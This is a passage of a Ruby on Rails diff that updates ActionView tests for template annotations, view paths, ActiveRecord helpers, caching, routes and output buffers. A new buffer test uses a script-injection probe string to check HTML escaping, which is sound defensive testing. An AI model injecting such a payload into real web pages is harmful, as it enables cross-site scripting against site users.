+    ActionView::Base.annotate_rendered_view_with_filenames = false
+    ActionView::LookupContext::DetailsKey.clear
+  end
+
+  def test_template_annotations
+    with_annotations_enabled do
+      get :greeting
+    end
+
+    assert_match(/<!-- BEGIN [^\n]*(?:\n-->| -->)/, @response.body)
+
+    assert_includes @response.body, "<!-- BEGIN"
+    assert_includes @response.body, "<!-- END"
+    assert_includes @response.body, "test/fixtures/actionpack/test/greeting.html.erb"
+    assert_includes @response.body, "This is grand!"
+  end
+
+  def test_template_annotations_do_not_render_for_non_html_format
+    with_annotations_enabled do
+      get :render_with_explicit_template_with_locals
+    end
+
+    assert_not_includes @response.body, "BEGIN"
+    assert_equal 1, @response.body.split("\n").length
+  end
+
+  def test_line_offset_with_annotations_enabled
+    exc = assert_raises ActionView::Template::Error do
+      with_annotations_enabled do
+        get :render_line_offset
+      end
+    end
+    line = exc.backtrace.first
+    assert(line =~ %r{:(\d+):})
+    assert_equal "2", $1,
+      "The line offset is wrong, perhaps the wrong exception has been raised, exception was: #{exc.inspect}"
+  ensure
+    ActionView::Base.annotate_rendered_view_with_filenames = false
+  end
 end
diff --git a/actionview/test/actionpack/controller/view_paths_test.rb b/actionview/test/actionpack/controller/view_paths_test.rb
index 4c58b959a9a74..4e2446f724563 100644
--- a/actionview/test/actionpack/controller/view_paths_test.rb
+++ b/actionview/test/actionpack/controller/view_paths_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class ViewLoadPathsTest < ActionController::TestCase
@@ -22,11 +24,19 @@ def hello_world; render(template: "test/hello_world"); end
     end
   end
 
+  with_routes do
+    get :hello_world, to: "test#hello_world"
+    get :hello_world_at_request_time, to: "test#hello_world_at_request_time"
+  end
+
   def setup
+    ActionView::LookupContext::DetailsKey.clear
+
     @controller = TestController.new
     @request  = ActionController::TestRequest.create(@controller.class)
     @response = ActionDispatch::TestResponse.new
     @paths = TestController.view_paths
+    super
   end
 
   def teardown
@@ -69,7 +79,7 @@ def test_controller_prepends_view_path_correctly
   end
 
   def test_template_appends_view_path_correctly
-    @controller.instance_variable_set :@template, ActionView::Base.new(TestController.view_paths, {}, @controller)
+    @controller.instance_variable_set :@template, ActionView::Base.with_view_paths(TestController.view_paths, {}, @controller)
     class_view_paths = TestController.view_paths
 
     @controller.append_view_path "foo"
@@ -81,7 +91,7 @@ def test_template_appends_view_path_correctly
   end
 
   def test_template_prepends_view_path_correctly
-    @controller.instance_variable_set :@template, ActionView::Base.new(TestController.view_paths, {}, @controller)
+    @controller.instance_variable_set :@template, ActionView::Base.with_view_paths(TestController.view_paths, {}, @controller)
     class_view_paths = TestController.view_paths
 
     @controller.prepend_view_path "baz"
@@ -92,6 +102,28 @@ def test_template_prepends_view_path_correctly
     assert_paths TestController, *class_view_paths
   end
 
+  def test_append_view_path_does_not_bust_template_cache
+    template_instances = 2.times.map do
+      controller = Test::SubController.new
+      controller.append_view_path "#{FIXTURE_LOAD_PATH}/override2"
+      controller.lookup_context.find_all("layouts/test/sub")
+    end
+
+    object_ids = template_instances.flatten.map(&:object_id)
+    assert_equal 1, object_ids.uniq.count
+  end
+
+  def test_prepend_view_path_does_not_bust_template_cache
+    template_instances = 2.times.map do
+      controller = TestController.new
+      controller.prepend_view_path "#{FIXTURE_LOAD_PATH}/override"
+      controller.lookup_context.find_all("hello_world", "test")
+    end
+
+    object_ids = template_instances.flatten.map(&:object_id)
+    assert_equal 1, object_ids.uniq.count
+  end
+
   def test_view_paths
     get :hello_world
     assert_response :success
@@ -107,10 +139,16 @@ def test_view_paths_override
 
   def test_view_paths_override_for_layouts_in_controllers_with_a_module
     @controller = Test::SubController.new
-    Test::SubController.view_paths = [ "#{FIXTURE_LOAD_PATH}/override", FIXTURE_LOAD_PATH, "#{FIXTURE_LOAD_PATH}/override2" ]
-    get :hello_world
-    assert_response :success
-    assert_equal "layout: Hello overridden world!", @response.body
+    with_routing do |routes|
+      routes.draw do
+        get :hello_world, to: "view_load_paths_test/test/sub#hello_world"
+      end
+
+      Test::SubController.view_paths = [ "#{FIXTURE_LOAD_PATH}/override", FIXTURE_LOAD_PATH, "#{FIXTURE_LOAD_PATH}/override2" ]
+      get :hello_world
+      assert_response :success
+      assert_equal "layout: Hello overridden world!", @response.body
+    end
   end
 
   def test_view_paths_override_at_request_time
@@ -120,9 +158,10 @@ def test_view_paths_override_at_request_time
   end
 
   def test_decorate_view_paths_with_custom_resolver
-    decorator_class = Class.new(ActionView::PathResolver) do
+    decorator_class = Class.new(ActionView::Resolver) do
       def initialize(path_set)
         @path_set = path_set
+        super()
       end
 
       def find_all(*args)
@@ -131,15 +170,16 @@ def find_all(*args)
             "Decorated body",
             template.identifier,
             template.handler,
-              virtual_path: template.virtual_path,
-              format: template.formats
+            virtual_path: template.virtual_path,
+            format: template.format,
+            locals: template.locals
           )
         end
       end
     end
 
     decorator = decorator_class.new(TestController.view_paths)
-    TestController.view_paths = ActionView::PathSet.new.push(decorator)
+    TestController.view_paths = ActionView::PathSet.new([decorator])
 
     get :hello_world
     assert_response :success
@@ -149,11 +189,11 @@ def find_all(*args)
   def test_inheritance
     original_load_paths = ActionController::Base.view_paths
 
-    self.class.class_eval %{
+    self.class.class_eval <<~RUBY, __FILE__, __LINE__ + 1
       class A < ActionController::Base; end
       class B < A; end
       class C < ActionController::Base; end
-    }
+    RUBY
 
     A.view_paths = ["a/path"]
 
diff --git a/actionview/test/active_record_unit.rb b/actionview/test/active_record_unit.rb
index 7f94b7ebb4bd1..3e8e86ef9350d 100644
--- a/actionview/test/active_record_unit.rb
+++ b/actionview/test/active_record_unit.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 # Define the essentials
@@ -13,7 +15,7 @@ class ActiveRecordTestConnector
 # Try to grab AR
 unless defined?(ActiveRecord) && defined?(FixtureSet)
   begin
-    PATH_TO_AR = "#{File.dirname(__FILE__)}/../../activerecord/lib"
+    PATH_TO_AR = File.expand_path("../../activerecord/lib", __dir__)
     raise LoadError, "#{PATH_TO_AR} doesn't exist" unless File.directory?(PATH_TO_AR)
     $LOAD_PATH.unshift PATH_TO_AR
     require "active_record"
@@ -36,21 +38,26 @@ def setup
       end
     rescue Exception => e  # errors from ActiveRecord setup
       $stderr.puts "\nSkipping ActiveRecord assertion tests: #{e}"
-      #$stderr.puts "  #{e.backtrace.join("\n  ")}\n"
+      # $stderr.puts "  #{e.backtrace.join("\n  ")}\n"
       self.able_to_connect = false
     end
 
+    def reconnect
+      return unless able_to_connect
+      ActiveRecord::Base.lease_connection.reconnect!
+      load_schema
+    end
+
     private
       def setup_connection
         if Object.const_defined?(:ActiveRecord)
           defaults = { database: ":memory:" }
-          adapter = defined?(JRUBY_VERSION) ? "jdbcsqlite3" : "sqlite3"
-          options = defaults.merge adapter: adapter, timeout: 500
+          options = defaults.merge adapter: "sqlite3", timeout: 500
           ActiveRecord::Base.establish_connection(options)
           ActiveRecord::Base.configurations = { "sqlite3_ar_integration" => options }
-          ActiveRecord::Base.connection
+          ActiveRecord::Base.lease_connection
 
-          Object.send(:const_set, :QUOTED_TYPE, ActiveRecord::Base.connection.quote_column_name("type")) unless Object.const_defined?(:QUOTED_TYPE)
+          Object.const_set :QUOTED_TYPE, ActiveRecord::Base.lease_connection.quote_column_name("type") unless Object.const_defined?(:QUOTED_TYPE)
         else
           raise "Can't setup connection since ActiveRecord isn't loaded."
         end
@@ -58,13 +65,13 @@ def setup_connection
 
       # Load actionpack sqlite3 tables
       def load_schema
-        File.read(File.dirname(__FILE__) + "/fixtures/db_definitions/sqlite.sql").split(";").each do |sql|
-          ActiveRecord::Base.connection.execute(sql) unless sql.blank?
+        File.read(File.expand_path("fixtures/db_definitions/sqlite.sql", __dir__)).split(";").each do |sql|
+          ActiveRecord::Base.lease_connection.execute(sql) unless sql.blank?
         end
       end
 
       def require_fixture_models
-        Dir.glob(File.dirname(__FILE__) + "/fixtures/*.rb").each { |f| require f }
+        Dir.glob(File.expand_path("fixtures/*.rb", __dir__)).each { |f| require f }
       end
   end
 end
@@ -72,9 +79,21 @@ def require_fixture_models
 class ActiveRecordTestCase < ActionController::TestCase
   include ActiveRecord::TestFixtures
 
+  def self.tests(controller)
+    super
+    if defined? controller::ROUTES
+      include Module.new {
+        define_method(:setup) do
+          super()
+          @routes = controller::ROUTES
+        end
+      }
+    end
+  end
+
   # Set our fixture path
   if ActiveRecordTestConnector.able_to_connect
-    self.fixture_path = [FIXTURE_LOAD_PATH]
+    self.fixture_paths = [FIXTURE_LOAD_PATH]
     self.use_transactional_tests = false
   end
 
@@ -85,6 +104,36 @@ def self.fixtures(*args)
   def run(*args)
     super if ActiveRecordTestConnector.connected
   end
+
+  def capture_sql
+    ActiveRecord::Base.lease_connection.materialize_transactions
+    SQLCounter.clear_log
+    yield
+    SQLCounter.log.dup
+  end
+
+  class SQLCounter
+    class << self
+      attr_accessor :log, :log_all
+      def clear_log; self.log = []; self.log_all = []; end
+    end
+
+    clear_log
+
+    def call(name, start, finish, message_id, values)
+      return if values[:cached]
+
+      sql = values[:sql]
+      self.class.log_all << sql
+      self.class.log << sql unless ["SCHEMA", "TRANSACTION"].include? values[:name]
+    end
+  end
+
+  ActiveSupport::Notifications.subscribe("sql.active_record", SQLCounter.new)
 end
 
 ActiveRecordTestConnector.setup
+
+ActiveSupport::Testing::Parallelization.after_fork_hook do
+  ActiveRecordTestConnector.reconnect
+end
diff --git a/actionview/test/activerecord/controller_runtime_test.rb b/actionview/test/activerecord/controller_runtime_test.rb
index 590559f592f82..6e9c826720d5d 100644
--- a/actionview/test/activerecord/controller_runtime_test.rb
+++ b/actionview/test/activerecord/controller_runtime_test.rb
@@ -1,7 +1,10 @@
+# frozen_string_literal: true
+
 require "active_record_unit"
 require "active_record/railties/controller_runtime"
 require "fixtures/project"
 require "active_support/log_subscriber/test_helper"
+require "action_controller/structured_event_subscriber"
 require "action_controller/log_subscriber"
 
 ActionController::Base.include(ActiveRecord::Railties::ControllerRuntime)
@@ -17,7 +20,7 @@ def zero
     end
 
     def create
-      ActiveRecord::LogSubscriber.runtime += 100
+      ActiveRecord::RuntimeRegistry.stats.sql_runtime += 100.0
       Project.last
       redirect_to "/"
     end
@@ -29,65 +32,71 @@ def redirect
 
     def db_after_render
       render inline: "Hello world"
-      Project.all
-      ActiveRecord::LogSubscriber.runtime += 100
+      Project.all.to_a
+      ActiveRecord::RuntimeRegistry.stats.sql_runtime += 100.0
     end
   end
 
-  include ActiveSupport::LogSubscriber::TestHelper
   tests LogSubscriberController
 
+  with_routes do
+    get :show, to: "#{LogSubscriberController.controller_path}#show"
+    get :zero, to: "#{LogSubscriberController.controller_path}#zero"
+    get :db_after_render, to: "#{LogSubscriberController.controller_path}#db_after_render"
+    get :redirect, to: "#{LogSubscriberController.controller_path}#redirect"
+    post :create, to: "#{LogSubscriberController.controller_path}#create"
+  end
+
+  def run(*)
+    with_debug_event_reporting do
+      super
+    end
+  end
+
   def setup
-    @old_logger = ActionController::Base.logger
     super
-    ActionController::LogSubscriber.attach_to :action_controller
+    @logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+    @old_logger = ActionController::LogSubscriber.logger
+    ActionController::LogSubscriber.logger = @logger
   end
 
   def teardown
     super
-    ActiveSupport::LogSubscriber.log_subscribers.clear
-    ActionController::Base.logger = @old_logger
-  end
-
-  def set_logger(logger)
-    ActionController::Base.logger = logger
+    ActionController::LogSubscriber.logger = @old_logger
   end
 
   def test_log_with_active_record
     get :show
-    wait
 
     assert_equal 2, @logger.logged(:info).size
-    assert_match(/\(Views: [\d.]+ms \| ActiveRecord: [\d.]+ms\)/, @logger.logged(:info)[1])
+    assert_match(/\(Views: [\d.]+ms \| ActiveRecord: [\d.]+ms \(0 queries, 0 cached\) \| GC: [\d.]+ms\)/, @logger.logged(:info)[1])
   end
 
   def test_runtime_reset_before_requests
-    ActiveRecord::LogSubscriber.runtime += 12345
+    ActiveRecord::RuntimeRegistry.stats.sql_runtime += 12345.0
     get :zero
-    wait
 
     assert_equal 2, @logger.logged(:info).size
-    assert_match(/\(Views: [\d.]+ms \| ActiveRecord: 0.0ms\)/, @logger.logged(:info)[1])
+    assert_match(/\(Views: [\d.]+ms \| ActiveRecord: [\d.]+ms \(0 queries, 0 cached\) \| GC: [\d.]+ms\)/, @logger.logged(:info)[1])
   end
 
   def test_log_with_active_record_when_post
     post :create
-    wait
-    assert_match(/ActiveRecord: ([1-9][\d.]+)ms\)/, @logger.logged(:info)[2])
+
+    assert_match(/ActiveRecord: ([1-9][\d.]+)ms \(1 query, 0 cached\) \| GC: [\d.]+ms\)/, @logger.logged(:info)[2])
   end
 
   def test_log_with_active_record_when_redirecting
     get :redirect
-    wait
+
     assert_equal 3, @logger.logged(:info).size
-    assert_match(/\(ActiveRecord: [\d.]+ms\)/, @logger.logged(:info)[2])
+    assert_match(/\(ActiveRecord: [\d.]+ms \(0 queries, 0 cached\) \| GC: [\d.]+ms\)/, @logger.logged(:info)[2])
   end
 
   def test_include_time_query_time_after_rendering
     get :db_after_render
-    wait
 
     assert_equal 2, @logger.logged(:info).size
-    assert_match(/\(Views: [\d.]+ms \| ActiveRecord: ([1-9][\d.]+)ms\)/, @logger.logged(:info)[1])
+    assert_match(/\(Views: [\d.]+ms \| ActiveRecord: ([1-9][\d.]+)ms \(1 query, 0 cached\) \| GC: [\d.]+ms\)/, @logger.logged(:info)[1])
   end
 end
diff --git a/actionview/test/activerecord/debug_helper_test.rb b/actionview/test/activerecord/debug_helper_test.rb
index 06ae555a035e2..87a179157327b 100644
--- a/actionview/test/activerecord/debug_helper_test.rb
+++ b/actionview/test/activerecord/debug_helper_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_record_unit"
 require "nokogiri"
 
@@ -11,7 +13,7 @@ def test_debug
   end
 
   def test_debug_with_marshal_error
-    obj = -> {}
+    obj = -> { }
     assert_match obj.inspect, Nokogiri.XML(debug(obj)).content
   end
 end
diff --git a/actionview/test/activerecord/form_helper_activerecord_test.rb b/actionview/test/activerecord/form_helper_activerecord_test.rb
index 3b314588c7c08..f190b3375d5ba 100644
--- a/actionview/test/activerecord/form_helper_activerecord_test.rb
+++ b/actionview/test/activerecord/form_helper_activerecord_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_record_unit"
 require "fixtures/project"
 require "fixtures/developer"
@@ -6,7 +8,7 @@ class FormHelperActiveRecordTest < ActionView::TestCase
   tests ActionView::Helpers::FormHelper
 
   def form_for(*)
-    @output_buffer = super
+    @rendered = super
   end
 
   def setup
@@ -21,9 +23,12 @@ def setup
 
     @developer.projects << @project
     @developer.save
+    super
+    @controller.singleton_class.include Routes.url_helpers
   end
 
   def teardown
+    super
     Project.delete(321)
     Developer.delete(123)
   end
@@ -46,26 +51,25 @@ def test_nested_fields_for_with_child_index_option_override_on_a_nested_attribut
 
     expected = whole_form("/developers/123", "edit_developer_123", "edit_developer", method: "patch") do
       '<input id="developer_projects_attributes_abc_name" name="developer[projects_attributes][abc][name]" type="text" value="project #321" />' \
-          '<input id="developer_projects_attributes_abc_id" name="developer[projects_attributes][abc][id]" type="hidden" value="321" />'
+          '<input id="developer_projects_attributes_abc_id" name="developer[projects_attributes][abc][id]" type="hidden" value="321" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   private
-
     def hidden_fields(method = nil)
-      txt = %{<input name="utf8" type="hidden" value="&#x2713;" />}
+      txt = +%{<input name="utf8" type="hidden" value="&#x2713;" autocomplete="off" />}
 
       if method && !%w(get post).include?(method.to_s)
-        txt << %{<input name="_method" type="hidden" value="#{method}" />}
+        txt << %{<input name="_method" type="hidden" value="#{method}" autocomplete="off" />}
       end
 
       txt
     end
 
     def form_text(action = "/", id = nil, html_class = nil, remote = nil, multipart = nil, method = nil)
-      txt =  %{<form accept-charset="UTF-8" action="#{action}"}
+      txt =  +%{<form accept-charset="UTF-8" action="#{action}"}
       txt << %{ enctype="multipart/form-data"} if multipart
       txt << %{ data-remote="true"} if remote
       txt << %{ class="#{html_class}"} if html_class
diff --git a/actionview/test/activerecord/multifetch_cache_test.rb b/actionview/test/activerecord/multifetch_cache_test.rb
new file mode 100644
index 0000000000000..93b4e0925cecf
--- /dev/null
+++ b/actionview/test/activerecord/multifetch_cache_test.rb
@@ -0,0 +1,101 @@
+# frozen_string_literal: true
+
+require "active_record_unit"
+
+class MultifetchController < ActionController::Base
+  ROUTES = test_routes do
+    get :cached_true, to: "multifetch#cached_true"
+    get :cached_proc, to: "multifetch#cached_proc"
+  end
+
+  def cached_true
+    load_all_topics
+    render partial: "test/multifetch", collection: @topics, as: :topic, cached: true
+  end
+
+  def cached_proc
+    load_all_topics
+    render partial: "test/multifetch", collection: @topics, as: :topic, cached: proc { |topic| [topic] }
+  end
+
+  private
+    def load_all_topics
+      @topics = Topic.preload(:replies)
+    end
+end
+
+class MultifetchCacheTest < ActiveRecordTestCase
+  tests MultifetchController
+  fixtures :topics, :replies
+
+  setup do
+    Topic.update_all(updated_at: Time.now)
+    @cache_store_was = ActionView::PartialRenderer.collection_cache
+    ActionView::PartialRenderer.collection_cache = ActiveSupport::Cache::MemoryStore.new
+  end
+
+  teardown do
+    ActionView::PartialRenderer.collection_cache = @cache_store_was
+  end
+
+  def test_only_preloading_for_records_that_miss_the_cache
+    Topic.update_all(title: "title")
+
+    # The first request will not have anything cached, so we need to render all the records
+    first_req = capture_sql do
+      get :cached_true
+    end
+    assert_equal 3, @response.body.scan(/title/).length
+    assert_equal 2, first_req.length
+    assert_includes first_req.last, %(WHERE "replies"."topic_id" IN (?, ?, ?))
+
+    Topic.first.update(updated_at: 1.hour.ago) # reset the cache key for this object
+
+    # Now we only load the one record that we don't have a cached view for.
+    second_req = capture_sql do
+      get :cached_true
+    end
+    assert_equal 3, @response.body.scan(/title/).length
+    assert_equal 2, second_req.length
+    assert_equal first_req.first, second_req.first
+    assert_includes second_req.last, %(WHERE "replies"."topic_id" = ?)
+  end
+
+  def test_preloads_all_records_if_using_cached_proc
+    Topic.update_all(title: "title")
+
+    # The first request will not have anything cached, so we need to render all the records
+    first_req = capture_sql do
+      get :cached_proc
+    end
+    assert_equal 3, @response.body.scan(/title/).length
+    assert_equal 2, first_req.length
+    assert_includes first_req.last, %(WHERE "replies"."topic_id" IN (?, ?, ?))
+
+    Topic.first.update(updated_at: 1.hour.ago) # reset the cache key for this object
+
+    # Since we are using a proc, we will preload the entire association.
+    second_req = capture_sql do
+      get :cached_proc
+    end
+    assert_equal 3, @response.body.scan(/title/).length
+    assert_equal 2, second_req.length
+    assert_equal first_req.first, second_req.first
+    assert_includes second_req.last, %(WHERE "replies"."topic_id" IN (?, ?, ?))
+  end
+
+  class InspectableStore < ActiveSupport::Cache::MemoryStore
+    attr_reader :data
+  end
+
+  def test_fragments_are_stored_as_bare_strings
+    cache = ActionView::PartialRenderer.collection_cache = InspectableStore.new
+    Topic.update_all(title: "title")
+    get :cached_true
+
+    assert_not_predicate cache.data, :empty?
+    cache.data.each_value do |entry|
+      assert_equal String, entry.value.class
+    end
+  end
+end
diff --git a/actionview/test/activerecord/partial_rendering_query_test.rb b/actionview/test/activerecord/partial_rendering_query_test.rb
new file mode 100644
index 0000000000000..538d6be915d19
--- /dev/null
+++ b/actionview/test/activerecord/partial_rendering_query_test.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require "active_record_unit"
+
+class PartialRenderingQueryTest < ActiveRecordTestCase
+  def setup
+    @view = ActionView::Base
+      .with_empty_template_cache
+      .with_view_paths(ActionController::Base.view_paths, {})
+  end
+
+  def test_render_with_relation_collection
+    assert_notifications_count("sql.active_record", 1) do
+      assert_notification("sql.active_record", sql: 'SELECT "topics".* FROM "topics"') do
+        @view.render partial: "topics/topic", collection: Topic.all
+      end
+    end
+  end
+end
diff --git a/actionview/test/activerecord/polymorphic_routes_test.rb b/actionview/test/activerecord/polymorphic_routes_test.rb
index dcad0b424c6f0..ab3e99d4b7ba1 100644
--- a/actionview/test/activerecord/polymorphic_routes_test.rb
+++ b/actionview/test/activerecord/polymorphic_routes_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_record_unit"
 require "fixtures/project"
 
@@ -60,10 +62,14 @@ def self.use_relative_model_naming?
 end
 
 class PolymorphicRoutesTest < ActionController::TestCase
-  include SharedTestRoutes.url_helpers
+  Routes = ActionDispatch::Routing::RouteSet.new
+  Routes.draw { }
+  include Routes.url_helpers
+
   default_url_options[:host] = "example.com"
 
   def setup
+    super
     @project = Project.new
     @task = Task.new
     @step = Step.new
@@ -79,15 +85,14 @@ def setup
   def assert_url(url, args)
     host = self.class.default_url_options[:host]
 
-    assert_equal url.sub(/http:\/\/#{host}/, ""), polymorphic_path(args)
+    assert_equal url.delete_prefix("http://#{host}"), polymorphic_path(args)
     assert_equal url, polymorphic_url(args)
     assert_equal url, url_for(args)
   end
 
   def test_string
     with_test_routes do
-      # FIXME: why are these different? Symbol case passes through to
-      # `polymorphic_url`, but the String case doesn't.
+      assert_equal "/projects", polymorphic_path("projects")
       assert_equal "http://example.com/projects", polymorphic_url("projects")
       assert_equal "projects", url_for("projects")
     end
@@ -208,7 +213,7 @@ def test_with_nil_in_list_does_not_generate_invalid_link
         @series.save
         polymorphic_url([nil, @series])
       end
-      assert_match(/undefined method `series_url'/, exception.message)
+      assert_match(/undefined method [`']series_url'/, exception.message)
     end
   end
 
@@ -459,12 +464,6 @@ def test_with_array_containing_single_name
     end
   end
 
-  def test_with_array_containing_single_string_name
-    with_test_routes do
-      assert_url "http://example.com/projects", ["projects"]
-    end
-  end
-
   def test_with_array_containing_symbols
     with_test_routes do
       assert_url "http://example.com/series/new", [:new, :series]
@@ -619,6 +618,22 @@ def test_nested_routing_to_a_model_delegate
     end
   end
 
+  def test_string_route_arguments
+    with_admin_test_routes do
+      error = assert_raises(ArgumentError) do
+        polymorphic_url(["admin", @project])
+      end
+
+      assert_equal("Please use symbols for polymorphic route arguments.", error.message)
+
+      error = assert_raises(ArgumentError) do
+        polymorphic_url([@project, "bid"])
+      end
+
+      assert_equal("Please use symbols for polymorphic route arguments.", error.message)
+    end
+  end
+
   def with_namespaced_routes(name)
     with_routing do |set|
       set.draw do
@@ -728,6 +743,54 @@ class PolymorphicPathRoutesTest < PolymorphicRoutesTest
   def assert_url(url, args)
     host = self.class.default_url_options[:host]
 
-    assert_equal url.sub(/http:\/\/#{host}/, ""), url_for(args)
+    assert_equal url.delete_prefix("http://#{host}"), url_for(args)
+  end
+end
+
+class DirectRoutesTest < ActionView::TestCase
+  class Linkable
+    attr_reader :id
+
+    def self.name
+      super.demodulize
+    end
+
+    def initialize(id)
+      @id = id
+    end
+
+    def linkable_type
+      self.class.name.underscore
+    end
+  end
+
+  class Category < Linkable; end
+  class Collection < Linkable; end
+  class Product < Linkable; end
+
+  Routes = ActionDispatch::Routing::RouteSet.new
+  Routes.draw do
+    resources :categories, :collections, :products
+    direct(:linkable) { |linkable| [:"#{linkable.linkable_type}", { id: linkable.id }] }
+  end
+
+  include Routes.url_helpers
+
+  def setup
+    super
+    @category = Category.new("1")
+    @collection = Collection.new("2")
+    @product = Product.new("3")
+    @controller.singleton_class.include Routes.url_helpers
+  end
+
+  def test_direct_routes
+    assert_equal "/categories/1", linkable_path(@category)
+    assert_equal "/collections/2", linkable_path(@collection)
+    assert_equal "/products/3", linkable_path(@product)
+
+    assert_equal "http://test.host/categories/1", linkable_url(@category)
+    assert_equal "http://test.host/collections/2", linkable_url(@collection)
+    assert_equal "http://test.host/products/3", linkable_url(@product)
   end
 end
diff --git a/actionview/test/activerecord/relation_cache_test.rb b/actionview/test/activerecord/relation_cache_test.rb
index 43f7242ee9521..fdca350a94344 100644
--- a/actionview/test/activerecord/relation_cache_test.rb
+++ b/actionview/test/activerecord/relation_cache_test.rb
@@ -1,17 +1,29 @@
+# frozen_string_literal: true
+
 require "active_record_unit"
+require "active_record/testing/query_assertions"
 
 class RelationCacheTest < ActionView::TestCase
   tests ActionView::Helpers::CacheHelper
+  include ActiveRecord::Assertions::QueryAssertions
 
   def setup
-    @virtual_path = "path"
+    super
+    view_paths     = ActionController::Base.view_paths
+    lookup_context = ActionView::LookupContext.new(view_paths, {}, ["test"])
+    @view_renderer = ActionView::Renderer.new(lookup_context)
+    @virtual_path  = "path"
+    @current_template = lookup_context.find "test/hello_world"
+
     controller.cache_store = ActiveSupport::Cache::MemoryStore.new
   end
 
   def test_cache_relation_other
-    cache(Project.all) { concat("Hello World") }
-    assert_equal "Hello World", controller.cache_store.read("views/projects-#{Project.count}/")
+    assert_queries_count(1) do
+      cache(Project.all) { concat("Hello World") }
+    end
+    assert_equal "Hello World", controller.cache_store.read("views/test/hello_world:fa9482a68ce25bf7589b8eddad72f736/projects-#{Project.count}")
   end
 
-  def view_cache_dependencies; end
+  def view_cache_dependencies; []; end
 end
diff --git a/actionview/test/activerecord/render_partial_with_record_identification_test.rb b/actionview/test/activerecord/render_partial_with_record_identification_test.rb
index 60c3ab3045b11..f8a374517d5da 100644
--- a/actionview/test/activerecord/render_partial_with_record_identification_test.rb
+++ b/actionview/test/activerecord/render_partial_with_record_identification_test.rb
@@ -1,6 +1,18 @@
+# frozen_string_literal: true
+
 require "active_record_unit"
 
 class RenderPartialWithRecordIdentificationController < ActionController::Base
+  ROUTES = test_routes do
+    get :render_with_record_collection, to: "render_partial_with_record_identification#render_with_record_collection"
+    get :render_with_scope, to: "render_partial_with_record_identification#render_with_scope"
+    get :render_with_record, to: "render_partial_with_record_identification#render_with_record"
+    get :render_with_has_many_association, to: "render_partial_with_record_identification#render_with_has_many_association"
+    get :render_with_has_many_and_belongs_to_association, to: "render_partial_with_record_identification#render_with_has_many_and_belongs_to_association"
+    get :render_with_has_one_association, to: "render_partial_with_record_identification#render_with_has_one_association"
+    get :render_with_record_collection_and_spacer_template, to: "render_partial_with_record_identification#render_with_record_collection_and_spacer_template"
+  end
+
   def render_with_has_many_and_belongs_to_association
     @developer = Developer.find(1)
     render partial: @developer.projects
@@ -15,21 +27,11 @@ def render_with_scope
     render partial: Reply.base
   end
 
-  def render_with_has_many_through_association
-    @developer = Developer.first
-    render partial: @developer.topics
-  end
-
   def render_with_has_one_association
     @company = Company.find(1)
     render partial: @company.mascot
   end
 
-  def render_with_belongs_to_association
-    @reply = Reply.find(1)
-    render partial: @reply.topic
-  end
-
   def render_with_record
     @developer = Developer.first
     render partial: @developer
@@ -50,6 +52,11 @@ class RenderPartialWithRecordIdentificationTest < ActiveRecordTestCase
   tests RenderPartialWithRecordIdentificationController
   fixtures :developers, :projects, :developers_projects, :topics, :replies, :companies, :mascots
 
+  def setup
+    super
+    ActionView::LookupContext::DetailsKey.clear
+  end
+
   def test_rendering_partial_with_has_many_and_belongs_to_association
     get :render_with_has_many_and_belongs_to_association
     assert_equal Developer.find(1).projects.map(&:name).join, @response.body
@@ -97,6 +104,11 @@ def to_param
 
 module Fun
   class NestedController < ActionController::Base
+    ROUTES = test_routes do
+      get :render_with_record_in_nested_controller, to: "fun/nested#render_with_record_in_nested_controller"
+      get :render_with_record_collection_in_nested_controller, to: "fun/nested#render_with_record_collection_in_nested_controller"
+    end
+
     def render_with_record_in_nested_controller
       render partial: Game.new("Pong")
     end
@@ -108,6 +120,11 @@ def render_with_record_collection_in_nested_controller
 
   module Serious
     class NestedDeeperController < ActionController::Base
+      ROUTES = test_routes do
+        get :render_with_record_in_deeper_nested_controller, to: "fun/serious/nested_deeper#render_with_record_in_deeper_nested_controller"
+        get :render_with_record_collection_in_deeper_nested_controller, to: "fun/serious/nested_deeper#render_with_record_collection_in_deeper_nested_controller"
+      end
+
       def render_with_record_in_deeper_nested_controller
         render partial: Game.new("Chess")
       end
diff --git a/actionview/test/buffers_test.rb b/actionview/test/buffers_test.rb
new file mode 100644
index 0000000000000..6d1c08a25211e
--- /dev/null
+++ b/actionview/test/buffers_test.rb
@@ -0,0 +1,89 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module SharedBufferTests
+  def self.included(test_case)
+    test_case.test "#<< maintains HTML safety" do
+      @buffer << "<script>alert('pwned!')</script>"
+      assert_predicate @buffer, :html_safe?
+      assert_predicate output, :html_safe?
+      assert_equal "&lt;script&gt;alert(&#39;pwned!&#39;)&lt;/script&gt;", output
+    end
+
+    test_case.test "#safe_append= bypasses HTML safety" do
+      @buffer.safe_append = "<p>This is fine</p>"
+      assert_predicate @buffer, :html_safe?
+      assert_predicate output, :html_safe?
+      assert_equal "<p>This is fine</p>", output
+    end
+
+    test_case.test "#raw allow to bypass HTML escaping" do
+      raw_buffer = @buffer.raw
+      raw_buffer << "<script>alert('pwned!')</script>"
+      assert_predicate @buffer, :html_safe?
+      assert_predicate output, :html_safe?
+      assert_equal "<script>alert('pwned!')</script>", output
+    end
+
+    test_case.test "#capture allow to intercept writes" do
+      @buffer << "Hello"
+      result = @buffer.capture do
+        @buffer << "George!"
+      end
+      assert_equal "George!", result
+      assert_predicate result, :html_safe?
+
+      @buffer << " World!"
+      assert_equal "Hello World!", output
+    end
+
+    test_case.test "#raw respects #capture" do
+      @buffer << "Hello"
+      raw_buffer = @buffer.raw
+      result = @buffer.capture do
+        raw_buffer << "George!"
+      end
+      assert_equal "George!", result
+      assert_predicate result, :html_safe?
+
+      @buffer << " World!"
+      assert_equal "Hello World!", output
+    end
+  end
+end
+
+class TestOutputBuffer < ActiveSupport::TestCase
+  include SharedBufferTests
+
+  setup do
+    @buffer = ActionView::OutputBuffer.new
+  end
+
+  test "can be duped" do
+    @buffer << "Hello"
+    copy = @buffer.dup
+    copy << " World!"
